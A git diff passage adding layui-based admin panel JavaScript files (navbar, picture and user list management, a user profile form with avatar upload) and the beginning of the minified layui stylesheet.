layer = parent.layer === undefined ? layui.layer : top.layer, + $ = layui.jquery, + table = layui.table; + index = layer.msg('加载中,请稍候',{icon: 16,time:false}); + setTimeout(function(){layer.close(index);},1000); + //导航栏列表 + var tableIns = table.render({ + elem: '#navbarList', + url : 'QueryAction', + cellMinWidth : 95, + page : true, + height : "full-200", + limit : 20, + limits : [10,15,20,25], + id : "navbarListTable", + cols : [[ + {type: "checkbox", fixed:"left", width:50}, + {field: 'navbarId', title: 'ID', width:60, align:"center"}, + {field: 'navbarName', title: '导航', width:200}, + {field: 'navbarHide', title: '是否隐藏', align:'center',width:200, templet:function(d){ + return '' + }}, + {field: 'icon', title: '图标'}, + {field: 'navbarUrl', title: '地址'}, + {title: '操作', width:200, templet:'#navbarListBar',fixed:"right",align:"center"} + ]] + }); + + //是否隐藏 + form.on('switch(navbarHide)', function(data){ + // var index = layer.msg('修改中,请稍候',{icon: 16,time:false,shade:0.8}), + hide = 'y'; + setTimeout(function(){ + // layer.close(index); + if(data.elem.checked){ + layer.msg("隐藏成功!"); + }else{ + layer.msg("取消隐藏成功!"); + hide = 'n'; + } + $.post("HideAction",{ + id : data.elem.id, + hide : hide + }) + },100); + }) + + //搜索 + $(".search_btn").on("click",function(){ + if($(".searchVal").val() != ''){ + table.reload("navbarListTable",{ + page: { + curr: 1 //重新从第 1 页开始 + }, + where: { + key: $(".searchVal").val() //搜索的关键字 + } + }) + }else{ + layer.msg("请输入搜索的内容"); + } + }); + + //添加导航 + function addnavbar(edit){ + var index = layui.layer.open({ + type: 2, + title: '添加导航', + shadeClose: true, + shade: false, + maxmin: true, + area: ['893px', '600px'], + content: 'navbarAdd', + success : function(layero, index){ + var body = layui.layer.getChildFrame('body', index); + if(edit){ + body.find(".navbarId").val(edit.navbarId); + body.find(".navbarName").val(edit.navbarName); + body.find(".navbarUrl").val(edit.navbarUrl); + body.find(".navbarIcon").val(edit.icon); + body.find(".navbarHide input[name='navbarHide']").prop("checked",edit.navbarHide); + form.render(); + } + setTimeout(function(){ + layui.layer.tips('点击此处返回导航列表', '.layui-layer-setwin .layui-layer-close', { + tips: 3 + }); + },500) + } + }) + layui.layer.full(index); + //改变窗口大小时,重置弹窗的宽高,防止超出可视区域(如F12调出debug的操作) + $(window).on("resize",function(){ + layui.layer.full(index); + }) + } + $(".addNews_btn").click(function(){ + addnavbar(); + }) + + //批量删除 + $(".delAll_btn").click(function(){ + var checkStatus = table.checkStatus('navbarListTable'), + data = checkStatus.data, + navbarsId = []; + if(data.length > 0) { + for (var i in data) { + navbarsId.push(data[i].navbarId); + } + layer.confirm('确定删除选中的导航?', {icon: 3, title: '提示信息'}, function (index) { + var index = layer.msg('批量删除中,请稍候',{icon: 16,time:false,shade:0.8}); + setTimeout(function(){ + $.post("DelAction",{ + navbarsId : navbarsId + },function(data){ + tableIns.reload(); + index = layer.msg('加载中,请稍候',{icon: 16,time:false}); + setTimeout(function(){layer.close(index);},1000); + }) + },100); + }) + }else{ + layer.msg("请选择需要删除的导航"); + } + }) + + //列表操作 + table.on('tool(navbarList)', function(obj){ + var layEvent = obj.event, + data = obj.data; + if(layEvent === 'edit'){ //编辑 + addnavbar(data); + } else if(layEvent === 'del'){ //删除 + layer.confirm('确定删除此导航?',{icon:3, title:'提示信息'},function(index){ + var index = layer.msg('删除中,请稍候',{icon: 16,time:false,shade:0.8}); + setTimeout(function(){ + $.post("DelAction",{ + navbarsId : data.navbarId + },function(data){ + tableIns.reload(); + index = layer.msg('加载中,请稍候',{icon: 16,time:false}); + setTimeout(function(){layer.close(index);},1000); + }) + },100); + }); + } else if(layEvent === 'look'){ //预览 + window.open(data.navbarUrl); + } + }); +}) \ No newline at end of file diff --git a/application/view/Admin/js/picList.js b/application/view/Admin/js/picList.js new file mode 100644 index 0000000..247bb63 --- /dev/null +++ b/application/view/Admin/js/picList.js @@ -0,0 +1,99 @@ +layui.use(['form','layer','table'],function(){ + var form = layui.form, + layer = parent.layer === undefined ? layui.layer : top.layer, + $ = layui.jquery, + table = layui.table; + index = layer.msg('加载中,请稍候',{icon: 16,time:false}); + setTimeout(function(){layer.close(index);},1000); + //用户列表 + var tableIns = table.render({ + elem: '#picList', + url : 'QueryAction', + cellMinWidth : 95, + page : true, + height : "full-125", + limits : [10,15,20,25], + limit : 20, + id : "picListTable", + cols : [[ + {type: "checkbox", fixed:"left", width:50}, + {field: 'picpid', title: '图片ID', minWidth:80, align:"center"}, + {field: 'picuid', title: '上传用户', minWidth:80, align:'center'}, + {field: 'picdate', title: '上传时间', align:'center'}, + {field: 'picip', title: 'IP', minWidth:80, align:'center'}, + {title: '操作', width:200, templet:'#picListBar',fixed:"right",align:"center"} + ]] + }); + + //搜索 + $(".search_btn").on("click",function(){ + if($(".searchVal").val() != ''){ + table.reload("picListTable",{ + page: { + curr: 1 //重新从第 1 页开始 + }, + where: { + key: $(".searchVal").val() //搜索的关键字 + } + }) + }else{ + layer.msg("请输入搜索的内容"); + } + }); + + //批量删除 + $(".delAll_btn").click(function(){ + var checkStatus = table.checkStatus('picListTable'), + data = checkStatus.data, + picId = []; + if(data.length > 0) { + for (var i in data) { + picId.push(data[i].picId); + } + layer.confirm('确定删除选中的图片?', {icon: 3, title: '提示信息'}, function (index) { + var index = layer.msg('删除中,请稍候',{icon: 16,time:false,shade:0.8}); + setTimeout(function(){ + $.post("DelAction",{ + picId : picId + },function(data){ + tableIns.reload(); + index = layer.msg('加载中,请稍候',{icon: 16,time:false}); + setTimeout(function(){layer.close(index);},1000); + }) + },100); + }) + }else{ + layer.msg("请选择需要删除的图片"); + } + }) + + //列表操作 + table.on('tool(picList)', function(obj){ + var layEvent = obj.event, + data = obj.data; + if(layEvent === 'del'){ //删除 + layer.confirm('确定删除此图片?',{icon:3, title:'提示信息'},function(index){ + var index = layer.msg('删除中,请稍候',{icon: 16,time:false,shade:0.8}); + setTimeout(function(){ + $.post("DelAction",{ + picId : data.picId + },function(data){ + tableIns.reload(); + index = layer.msg('加载中,请稍候',{icon: 16,time:false}); + setTimeout(function(){layer.close(index);},1000); + }) + },100); + }); + } else if(layEvent === 'copy'){ + copyToClipboard('https://ws3.sinaimg.cn/large/'+data.picpid); + }else if(layEvent === 'look'){ //预览 + layer.open({ + title: false, + type:2, + area: ['80%','80%'], + scrollbar: false, + content: 'https://ws3.sinaimg.cn/large/'+data.picpid + }); + } + }); +}) \ No newline at end of file diff --git a/application/view/Admin/js/userInfo.js b/application/view/Admin/js/userInfo.js new file mode 100644 index 0000000..17cb2ed --- /dev/null +++ b/application/view/Admin/js/userInfo.js @@ -0,0 +1,70 @@ +layui.use(['form','layer','upload','laydate'],function(){ + form = layui.form; + $ = layui.jquery; + var layer = parent.layer === undefined ? layui.layer : top.layer, + upload = layui.upload; + // 获取数据 + $.ajax({ + type: 'GET', + url: 'DataAction', + dataType: 'json', + success: function(userInfo){ + $(".username").val(userInfo.username); + $(".role").val(userInfo.role); + $(".time").val(userInfo.time); + $(".ip").val(userInfo.ip); + $(".email").val(userInfo.email); + $("#photo").attr("src",userInfo.photo); + form.render(); + } + }); + //上传头像 + upload.render({ + elem: '#upload', + url: 'UploadAction', + accept: 'images', + exts: 'jpg|png|gif|bmp|jpeg', + size: 1024, + before: function(obj){ + layer.msg('上传头像中,请稍候',{icon: 16,time:false,shade:0.8}); + }, + done: function(res, index, upload){ + if (res.code == '0') { + $('#photo').attr('src',res.src); + layer.closeAll(); + }else{ + layer.msg(res.msg, {icon: 2,anim: 6}); + } + } + }); + + //提交个人资料 + form.on("submit(changeUser)",function(data){ + var index = layer.msg('提交中,请稍候',{icon: 16,time:false,shade:0.8}); + setTimeout(function(){ + $.post("UpdateAction",{ + username : $(".username").val(), + pwd : $(".pwd").val(), + password : $(".password").val() + },function(res){ + layer.close(index); + layer.msg(res); + }) + },100); + return false; + }) + + //添加验证规则 + form.verify({ + newPwd : function(value, item){ + if(value.length < 6){ + return "密码长度不能小于6位"; + } + }, + confirmPwd : function(value, item){ + if(!new RegExp($("#oldPwd").val()).test(value)){ + return "两次输入密码不一致,请重新输入!"; + } + } + }) +}) \ No newline at end of file diff --git a/application/view/Admin/js/userList.js b/application/view/Admin/js/userList.js new file mode 100644 index 0000000..7e300f1 --- /dev/null +++ b/application/view/Admin/js/userList.js @@ -0,0 +1,137 @@ +layui.use(['form','layer','table'],function(){ + var form = layui.form, + layer = parent.layer === undefined ? layui.layer : top.layer, + $ = layui.jquery, + table = layui.table; + index = layer.msg('加载中,请稍候',{icon: 16,time:false}); + setTimeout(function(){layer.close(index);},1000); + //用户列表 + var tableIns = table.render({ + elem: '#userList', + url : 'QueryAction', + cellMinWidth : 95, + page : true, + height : "full-125", + limits : [10,15,20,25], + limit : 20, + id : "userListTable", + cols : [[ + {type: "checkbox", fixed:"left", width:50}, + {field: 'userName', title: '用户名', minWidth:100, align:"center"}, + {field: 'userEmail', title: '用户邮箱', minWidth:200, align:'center',templet:function(d){ + return ''+d.userEmail+''; + }}, + {field: 'userIp', title: 'IP', align:'center'}, + {field: 'userStatus', title: '用户状态', align:'center'}, + {field: 'userGrade', title: '用户权限', align:'center'}, + {field: 'userEndTime', title: '注册时间', align:'center',minWidth:150}, + {title: '操作', minWidth:175,fixed:"right",align:"center",templet:function(d){ + var userStatus = d.userStatus != '限制使用' ? '已启用' : '已禁用'; + return ''+userStatus+'删除'; + }} + ]] + }); + + //搜索 + $(".search_btn").on("click",function(){ + if($(".searchVal").val() != ''){ + table.reload("userListTable",{ + page: { + curr: 1 //重新从第 1 页开始 + }, + where: { + key: $(".searchVal").val() //搜索的关键字 + } + }) + }else{ + layer.msg("请输入搜索的内容"); + } + }); + + //批量删除 + $(".delAll_btn").click(function(){ + var checkStatus = table.checkStatus('userListTable'), + data = checkStatus.data, + usersId = []; + if(data.length > 0) { + for (var i in data) { + if(data[i].userGrade != '超级管理员'){ + usersId.push(data[i].usersId); + } + } + if (usersId.length == 0){ + layer.msg('管理员账号不允许被删除!', {icon: 2}); + return; + } + layer.confirm('确定删除选中的用户?', {icon: 3, title: '提示信息'}, function (index) { + var index = layer.msg('删除中,请稍候',{icon: 16,time:false,shade:0.8}); + setTimeout(function(){ + $.post("DelAction",{ + usersId : usersId + },function(data){ + tableIns.reload(); + index = layer.msg('加载中,请稍候',{icon: 16,time:false}); + setTimeout(function(){layer.close(index);},1000); + }) + },100); + }) + }else{ + layer.msg("请选择需要删除的用户"); + } + }) + + //列表操作 + table.on('tool(userList)', function(obj){ + var layEvent = obj.event, + data = obj.data; + + if(layEvent === 'usable'){ //启用禁用 + if(data.userGrade == '超级管理员'){ + layer.msg('管理员账号不允许被禁用!', {icon: 2}); + return; + } + var _this = $(this), + usableText = "是否确定禁用此用户?", + btnText = "已禁用", + seal = 'n'; + if(_this.text()=="已禁用"){ + usableText = "是否确定启用此用户?", + btnText = "已启用", + seal = 'y'; + } + layer.confirm(usableText,{ + icon: 3, + title:'系统提示', + cancel : function(index){ + layer.close(index); + } + },function(index){ + $.post("DisableAction",{ + uid : data.usersId, + seal : seal + }) + _this.text(btnText); + layer.close(index); + },function(index){ + layer.close(index); + }); + }else if(layEvent === 'del'){ //删除 + if(data.userGrade == '超级管理员'){ + layer.msg('管理员账号不允许被删除!', {icon: 2}); + return; + } + layer.confirm('确定删除此用户?',{icon:3, title:'提示信息'},function(index){ + var index = layer.msg('删除中,请稍候',{icon: 16,time:false,shade:0.8}); + setTimeout(function(){ + $.post("DelAction",{ + usersId : data.usersId + },function(data){ + tableIns.reload(); + index = layer.msg('加载中,请稍候',{icon: 16,time:false}); + setTimeout(function(){layer.close(index);},1000); + }) + },100); + }); + } + }); +}) \ No newline at end of file diff --git a/application/view/Admin/layui/css/layui.css b/application/view/Admin/layui/css/layui.css new file mode 100644 index 0000000..394f92d --- /dev/null +++ b/application/view/Admin/layui/css/layui.css @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + .layui-inline,img{display:inline-block;vertical-align:middle}h1,h2,h3,h4,h5,h6{font-weight:400}.layui-edge,.layui-header,.layui-inline,.layui-main{position:relative}.layui-btn,.layui-edge,.layui-inline,img{vertical-align:middle}.layui-btn,.layui-disabled,.layui-icon,.layui-unselect{-webkit-user-select:none;-ms-user-select:none;-moz-user-select:none}blockquote,body,button,dd,div,dl,dt,form,h1,h2,h3,h4,h5,h6,input,li,ol,p,pre,td,textarea,th,ul{margin:0;padding:0;-webkit-tap-highlight-color:rgba(0,0,0,0)}a:active,a:hover{outline:0}img{border:none}li{list-style:none}table{border-collapse:collapse;border-spacing:0}h4,h5,h6{font-size:100%}button,input,optgroup,option,select,textarea{font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;outline:0}pre{white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word}body{line-height:24px;font:14px Helvetica Neue,Helvetica,PingFang SC,\5FAE\8F6F\96C5\9ED1,Tahoma,Arial,sans-serif}hr{height:1px;margin:10px 0;border:0;clear:both}a{color:#333;text-decoration:none}a:hover{color:#777}a cite{font-style:normal;*cursor:pointer}.layui-border-box,.layui-border-box *{box-sizing:border-box}.layui-box,.layui-box *{box-sizing:content-box}.layui-clear{clear:both;*zoom:1}.layui-clear:after{content:'\20';clear:both;*zoom:1;display:block;height:0}.layui-inline{*display:inline;*zoom:1}.layui-edge{display:inline-block;width:0;height:0;border-width:6px;border-style:dashed;border-color:transparent;overflow:hidden}.layui-edge-top{top:-4px;border-bottom-color:#999;border-bottom-style:solid}.layui-edge-right{border-left-color:#999;border-left-style:solid}.layui-edge-bottom{top:2px;border-top-color:#999;border-top-style:solid}.layui-edge-left{border-right-color:#999;border-right-style:solid}.layui-elip{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-disabled,.layui-disabled:hover{color:#d2d2d2!important;cursor:not-allowed!important}.layui-circle{border-radius:100%}.layui-show{display:block!important}.layui-hide{display:none!important}@font-face{font-family:layui-icon;src:url(../font/iconfont.eot?v=220);src:url(../font/iconfont.eot?v=220#iefix) format('embedded-opentype'),url(../font/iconfont.svg?v=220#iconfont) format('svg'),url(../font/iconfont.woff?v=220) format('woff'),url(../font/iconfont.ttf?v=220) format('truetype')}.layui-icon{font-family:layui-icon!important;font-size:16px;font-style:normal;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.layui-icon-duihua:before{content:"\e611"}.layui-icon-shezhi:before{content:"\e614"}.layui-icon-yinshenim:before{content:"\e60f"}.layui-icon-search:before{content:"\e615"}.layui-icon-fenxiang1:before{content:"\e641"}.layui-icon-shezhi1:before{content:"\e620"}.layui-icon-yinqing:before{content:"\e628"}.layui-icon-yuejuancuohao:before{content:"\1006"}.layui-icon-cuo:before{content:"\1007"}.layui-icon-baobiao:before{content:"\e629"}.layui-icon-star:before{content:"\e600"}.layui-icon-yuandian:before{content:"\e617"}.layui-icon-chat:before{content:"\e606"}.layui-icon-logo:before{content:"\e609"}.layui-icon-list:before{content:"\e60a"}.layui-icon-tubiao:before{content:"\e62c"}.layui-icon-right:before{content:"\1005"}.layui-icon-huanfu2:before{content:"\e61b"}.layui-icon-On-line:before{content:"\e610"}.layui-icon-biaoge:before{content:"\e62d"}.layui-icon-youyou:before{content:"\e602"}.layui-icon-zuozuo:before{content:"\e603"}.layui-icon-cart-simple:before{content:"\e698"}.layui-icon-cry:before{content:"\e69c"}.layui-icon-smile:before{content:"\e6af"}.layui-icon-survey:before{content:"\e6b2"}.layui-icon-tree:before{content:"\e62e"}.layui-icon-iconfont17:before{content:"\e62f"}.layui-icon-tianjia:before{content:"\e61f"}.layui-icon-xiazai:before{content:"\e601"}.layui-icon-xuanzemoban48:before{content:"\e630"}.layui-icon-gongju:before{content:"\e631"}.layui-icon-face-surprised:before{content:"\e664"}.layui-icon-bianji:before{content:"\e642"}.layui-icon-speaker:before{content:"\e645"}.layui-icon-xiangxia:before{content:"\e61a"}.layui-icon-wenjian:before{content:"\e621"}.layui-icon-layouts:before{content:"\e632"}.layui-icon-duigou:before{content:"\e618"}.layui-icon-tianjia1:before{content:"\e608"}.layui-icon-yaoyaozhibofanye:before{content:"\e633"}.layui-icon-read:before{content:"\e705"}.layui-icon-404:before{content:"\e61c"}.layui-icon-lunbozutu:before{content:"\e634"}.layui-icon-help:before{content:"\e607"}.layui-icon-daima1:before{content:"\e635"}.layui-icon-jinshui:before{content:"\e636"}.layui-icon-find-fill:before{content:"\e670"}.layui-icon-about:before{content:"\e60b"}.layui-icon-location:before{content:"\e715"}.layui-icon-xiangshang:before{content:"\e619"}.layui-icon-pause:before{content:"\e651"}.layui-icon-riqi:before{content:"\e637"}.layui-icon-uploadfile:before{content:"\e61d"}.layui-icon-delete:before{content:"\e640"}.layui-icon-play:before{content:"\e652"}.layui-icon-top:before{content:"\e604"}.layui-icon-haoyouqingqiu:before{content:"\e612"}.layui-icon-weibiaoti1:before{content:"\e605"}.layui-icon-chuangkou:before{content:"\e638"}.layui-icon-comiisbiaoqing:before{content:"\e60c"}.layui-icon-zhengque:before{content:"\e616"}.layui-icon-dollar:before{content:"\e659"}.layui-icon-iconfontwodehaoyou:before{content:"\e613"}.layui-icon-wenjianxiazai:before{content:"\e61e"}.layui-icon-tupian:before{content:"\e60d"}.layui-icon-lianjie:before{content:"\e64c"}.layui-icon-diamond:before{content:"\e735"}.layui-icon-jilu:before{content:"\e60e"}.layui-icon-liucheng:before{content:"\e622"}.layui-icon-fontstrikethrough:before{content:"\e64f"}.layui-icon-unlink:before{content:"\e64d"}.layui-icon-bianjiwenzi:before{content:"\e639"}.layui-icon-sanjiao:before{content:"\e623"}.layui-icon-danxuankuanghouxuan:before{content:"\e63f"}.layui-icon-danxuankuangxuanzhong:before{content:"\e643"}.layui-icon-juzhongduiqi:before{content:"\e647"}.layui-icon-youduiqi:before{content:"\e648"}.layui-icon-zuoduiqi:before{content:"\e649"}.layui-icon-gongsisvgtubiaozongji22:before{content:"\e626"}.layui-icon-gongsisvgtubiaozongji23:before{content:"\e627"}.layui-icon-refresh-2:before{content:"\1002"}.layui-icon-loading-1:before{content:"\e63e"}.layui-icon-return:before{content:"\e65c"}.layui-icon-jiacu:before{content:"\e62b"}.layui-icon-uploading:before{content:"\e67c"}.layui-icon-liaotianduihuaimgoutong:before{content:"\e63a"}.layui-icon-video:before{content:"\e6ed"}.layui-icon-headset:before{content:"\e6fc"}.layui-icon-wenjianjiafan:before{content:"\e624"}.layui-icon-shouji:before{content:"\e63b"}.layui-icon-tianjia2:before{content:"\e654"}.layui-icon-wenjianjia:before{content:"\e7a0"}.layui-icon-biaoqing:before{content:"\e650"}.layui-icon-html:before{content:"\e64b"}.layui-icon-biaodan:before{content:"\e63c"}.layui-icon-cart:before{content:"\e657"}.layui-icon-camera-fill:before{content:"\e65d"}.layui-icon-25:before{content:"\e62a"}.layui-icon-emwdaima:before{content:"\e64e"}.layui-icon-fire:before{content:"\e756"}.layui-icon-set:before{content:"\e716"}.layui-icon-zitixiahuaxian:before{content:"\e646"}.layui-icon-sanjiao1:before{content:"\e625"}.layui-icon-tips:before{content:"\e702"}.layui-icon-tupian-copy-copy:before{content:"\e64a"}.layui-icon-more-vertical:before{content:"\e671"}.layui-icon-zhuti2:before{content:"\e66c"}.layui-icon-loading:before{content:"\e63d"}.layui-icon-xieti:before{content:"\e644"}.layui-icon-refresh-1:before{content:"\e666"}.layui-icon-rmb:before{content:"\e65e"}.layui-icon-home:before{content:"\e68e"}.layui-icon-user:before{content:"\e770"}.layui-icon-notice:before{content:"\e667"}.layui-icon-voice:before{content:"\e688"}.layui-icon-download:before{content:"\e681"}.layui-icon-snowflake:before{content:"\e6b1"}.layui-icon-yemian1:before{content:"\e655"}.layui-icon-template:before{content:"\e663"}.layui-icon-auz:before{content:"\e672"}.layui-icon-console:before{content:"\e665"}.layui-icon-app:before{content:"\e653"}.layui-icon-xiayiye:before{content:"\e65a"}.layui-icon-website:before{content:"\e7ae"}.layui-icon-xiayiye1:before{content:"\e65b"}.layui-icon-component:before{content:"\e857"}.layui-icon-more:before{content:"\e65f"}.layui-icon-shrink-right:before{content:"\e668"}.layui-icon-spread-left:before{content:"\e66b"}.layui-icon-camera:before{content:"\e660"}.layui-icon-note:before{content:"\e66e"}.layui-icon-refresh:before{content:"\e669"}.layui-icon-nv:before{content:"\e661"}.layui-icon-nan:before{content:"\e662"}.layui-icon-senior:before{content:"\e674"}.layui-icon-theme:before{content:"\e66a"}.layui-icon-tread:before{content:"\e6c5"}.layui-icon-praise:before{content:"\e6c6"}.layui-icon-star-fill:before{content:"\e658"}.layui-icon-template-1:before{content:"\e656"}.layui-icon-loading-2:before{content:"\e66d"}.layui-main{width:1140px;margin:0 auto}.layui-header{z-index:1000;height:60px}.layui-header a:hover{transition:all .5s;-webkit-transition:all .5s}.layui-side{position:fixed;top:0;bottom:0;z-index:999;width:200px;overflow-x:hidden}.layui-side-scroll{width:220px;height:100%;overflow-x:hidden}.layui-body{position:absolute;left:200px;right:0;top:0;bottom:0;z-index:998;width:auto;overflow:hidden;overflow-y:auto;box-sizing:border-box}.layui-layout-body{overflow:hidden}.layui-layout-admin .layui-header{background-color:#23262E}.layui-layout-admin .layui-side{top:60px;width:200px;overflow-x:hidden}.layui-layout-admin .layui-body{top:60px;bottom:44px}.layui-layout-admin .layui-main{width:auto;margin:0 15px}.layui-layout-admin .layui-footer{position:fixed;left:200px;right:0;bottom:0;height:44px;line-height:44px;padding:0 15px;background-color:#eee}.layui-layout-admin .layui-logo{position:absolute;left:0;top:0;width:200px;height:100%;line-height:60px;text-align:center;color:#009688;font-size:16px}.layui-layout-admin .layui-header .layui-nav{background:0 0}.layui-layout-left{position:absolute!important;left:200px;top:0}.layui-layout-right{position:absolute!important;right:0;top:0}.layui-container{position:relative;margin:0 auto;padding:0 15px;box-sizing:border-box}.layui-fluid{position:relative;margin:0 auto;padding:0 15px}.layui-row:after,.layui-row:before{content:'';display:block;clear:both}.layui-col-lg1,.layui-col-lg10,.layui-col-lg11,.layui-col-lg12,.layui-col-lg2,.layui-col-lg3,.layui-col-lg4,.layui-col-lg5,.layui-col-lg6,.layui-col-lg7,.layui-col-lg8,.layui-col-lg9,.layui-col-md1,.layui-col-md10,.layui-col-md11,.layui-col-md12,.layui-col-md2,.layui-col-md3,.layui-col-md4,.layui-col-md5,.layui-col-md6,.layui-col-md7,.layui-col-md8,.layui-col-md9,.layui-col-sm1,.layui-col-sm10,.layui-col-sm11,.layui-col-sm12,.layui-col-sm2,.layui-col-sm3,.layui-col-sm4,.layui-col-sm5,.layui-col-sm6,.layui-col-sm7,.layui-col-sm8,.layui-col-sm9,.layui-col-xs1,.layui-col-xs10,.layui-col-xs11,.layui-col-xs12,.layui-col-xs2,.layui-col-xs3,.layui-col-xs4,.layui-col-xs5,.layui-col-xs6,.layui-col-xs7,.layui-col-xs8,.layui-col-xs9{position:relative;display:block;box-sizing:border-box}.layui-col-xs1,.layui-col-xs10,.layui-col-xs11,.layui-col-xs12,.layui-col-xs2,.layui-col-xs3,.layui-col-xs4,.layui-col-xs5,.layui-col-xs6,.layui-col-xs7,.layui-col-xs8,.layui-col-xs9{float:left}.layui-col-xs1{width:8.33333333%}.layui-col-xs2{width:16.66666667%}.layui-col-xs3{width:25%}.layui-col-xs4{width:33.33333333%}.layui-col-xs5{width:41.66666667%}.layui-col-xs6{width:50%}.layui-col-xs7{width:58.33333333%}.layui-col-xs8{width:66.66666667%}.layui-col-xs9{width:75%}.layui-col-xs10{width:83.33333333%}.layui-col-xs11{width:91.66666667%}.layui-col-xs12{width:100%}.layui-col-xs-offset1{margin-left:8.33333333%}.layui-col-xs-offset2{margin-left:16.66666667%}.layui-col-xs-offset3{margin-left:25%}.layui-col-xs-offset4{margin-left:33.33333333%}.layui-col-xs-offset5{margin-left:41.66666667%}.layui-col-xs-offset6{margin-left:50%}.layui-col-xs-offset7{margin-left:58.33333333%}.layui-col-xs-offset8{margin-left:66.66666667%}.layui-col-xs-offset9{margin-left:75%}.layui-col-xs-offset10{margin-left:83.33333333%}.layui-col-xs-offset11{margin-left:91.66666667%}.layui-col-xs-offset12{margin-left:100%}@media screen and (max-width:768px){.layui-hide-xs{display:none!important}.layui-show-xs-block{display:block!important}.layui-show-xs-inline{display:inline!important}.layui-show-xs-inline-block{display:inline-block!important}}@media screen and (min-width:768px){.layui-container{width:750px}.layui-hide-sm{display:none!important}.layui-show-sm-block{display:block!important}.layui-show-sm-inline{display:inline!important}.layui-show-sm-inline-block{display:inline-block!important}.layui-col-sm1,.layui-col-sm10,.layui-col-sm11,.layui-col-sm12,.layui-col-sm2,.layui-col-sm3,.layui-col-sm4,.layui-col-sm5,.layui-col-sm6,.layui-col-sm7,.layui-col-sm8,.layui-col-sm9{float:left}.layui-col-sm1{width:8.33333333%}.layui-col-sm2{width:16.66666667%}.layui-col-sm3{width:25%}.layui-col-sm4{width:33.33333333%}.layui-col-sm5{width:41.66666667%}.layui-col-sm6{width:50%}.layui-col-sm7{width:58.33333333%}.layui-col-sm8{width:66.66666667%}.layui-col-sm9{width:75%}.layui-col-sm10{width:83.33333333%}.layui-col-sm11{width:91.66666667%}.layui-col-sm12{width:100%}.layui-col-sm-offset1{margin-left:8.33333333%}.layui-col-sm-offset2{margin-left:16.66666667%}.layui-col-sm-offset3{margin-left:25%}.layui-col-sm-offset4{margin-left:33.33333333%}.layui-col-sm-offset5{margin-left:41.66666667%}.layui-col-sm-offset6{margin-left:50%}.layui-col-sm-offset7{margin-left:58.33333333%}.layui-col-sm-offset8{margin-left:66.66666667%}.layui-col-sm-offset9{margin-left:75%}.layui-col-sm-offset10{margin-left:83.33333333%}.layui-col-sm-offset11{margin-left:91.66666667%}.layui-col-sm-offset12{margin-left:100%}}@media screen and (min-width:992px){.layui-container{width:970px}.layui-hide-md{display:none!important}.layui-show-md-block{display:block!important}.layui-show-md-inline{display:inline!important}.layui-show-md-inline-block{display:inline-block!important}.layui-col-md1,.layui-col-md10,.layui-col-md11,.layui-col-md12,.layui-col-md2,.layui-col-md3,.layui-col-md4,.layui-col-md5,.layui-col-md6,.layui-col-md7,.layui-col-md8,.layui-col-md9{float:left}.layui-col-md1{width:8.33333333%}.layui-col-md2{width:16.66666667%}.layui-col-md3{width:25%}.layui-col-md4{width:33.33333333%}.layui-col-md5{width:41.66666667%}.layui-col-md6{width:50%}.layui-col-md7{width:58.33333333%}.layui-col-md8{width:66.66666667%}.layui-col-md9{width:75%}.layui-col-md10{width:83.33333333%}.layui-col-md11{width:91.66666667%}.layui-col-md12{width:100%}.layui-col-md-offset1{margin-left:8.33333333%}.layui-col-md-offset2{margin-left:16.66666667%}.layui-col-md-offset3{margin-left:25%}.layui-col-md-offset4{margin-left:33.33333333%}.layui-col-md-offset5{margin-left:41.66666667%}.layui-col-md-offset6{margin-left:50%}.layui-col-md-offset7{margin-left:58.33333333%}.layui-col-md-offset8{margin-left:66.66666667%}.layui-col-md-offset9{margin-left:75%}.layui-col-md-offset10{margin-left:83.33333333%}.layui-col-md-offset11{margin-left:91.66666667%}.layui-col-md-offset12{margin-left:100%}}@media screen and (min-width:1200px){.layui-container{width:1170px}.layui-hide-lg{display:none!important}.layui-show-lg-block{display:block!important}.layui-show-lg-inline{display:inline!important}.layui-show-lg-inline-block{display:inline-block!important}.layui-col-lg1,.layui-col-lg10,.layui-col-lg11,.layui-col-lg12,.layui-col-lg2,.layui-col-lg3,.layui-col-lg4,.layui-col-lg5,.layui-col-lg6,.layui-col-lg7,.layui-col-lg8,.layui-col-lg9{float:left}.layui-col-lg1{width:8.33333333%}.layui-col-lg2{width:16.66666667%}.layui-col-lg3{width:25%}.layui-col-lg4{width:33.33333333%}.layui-col-lg5{width:41.66666667%}.layui-col-lg6{width:50%}.layui-col-lg7{width:58.33333333%}.layui-col-lg8{width:66.66666667%}.layui-col-lg9{width:75%}.layui-col-lg10{width:83.33333333%}.layui-col-lg11{width:91.66666667%}.layui-col-lg12{width:100%}.layui-col-lg-offset1{margin-left:8.33333333%}.layui-col-lg-offset2{margin-left:16.66666667%}.layui-col-lg-offset3{margin-left:25%}.layui-col-lg-offset4{margin-left:33.33333333%}.layui-col-lg-offset5{margin-left:41.66666667%}.layui-col-lg-offset6{margin-left:50%}.layui-col-lg-offset7{margin-left:58.33333333%}.layui-col-lg-offset8{margin-left:66.66666667%}.layui-col-lg-offset9{margin-left:75%}.layui-col-lg-offset10{margin-left:83.33333333%}.layui-col-lg-offset11{margin-left:91.66666667%}.layui-col-lg-offset12{margin-left:100%}}.layui-col-space1{margin:-.5px}.layui-col-space1>*{padding:.5px}.layui-col-space3{margin:-1.5px}.layui-col-space3>*{padding:1.5px}.layui-col-space5{margin:-2.5px}.layui-col-space5>*{padding:2.5px}.layui-col-space8{margin:-3.5px}.layui-col-space8>*{padding:3.5px}.layui-col-space10{margin:-5px}.layui-col-space10>*{padding:5px}.layui-col-space12{margin:-6px}.layui-col-space12>*{padding:6px}.layui-col-space15{margin:-7.5px}.layui-col-space15>*{padding:7.5px}.layui-col-space18{margin:-9px}.layui-col-space18>*{padding:9px}.layui-col-space20{margin:-10px}.layui-col-space20>*{padding:10px}.layui-col-space22{margin:-11px}.layui-col-space22>*{padding:11px}.layui-col-space25{margin:-12.5px}.layui-col-space25>*{padding:12.5px}.layui-col-space30{margin:-15px}.layui-col-space30>*{padding:15px}.layui-btn,.layui-input,.layui-select,.layui-textarea,.layui-upload-button{outline:0;-webkit-appearance:none;transition:all .3s;-webkit-transition:all .3s;box-sizing:border-box}.layui-elem-quote{margin-bottom:10px;padding:15px;line-height:22px;border-left:5px solid #009688;border-radius:0 2px 2px 0;background-color:#f2f2f2}.layui-quote-nm{border-style:solid;border-width:1px 1px 1px 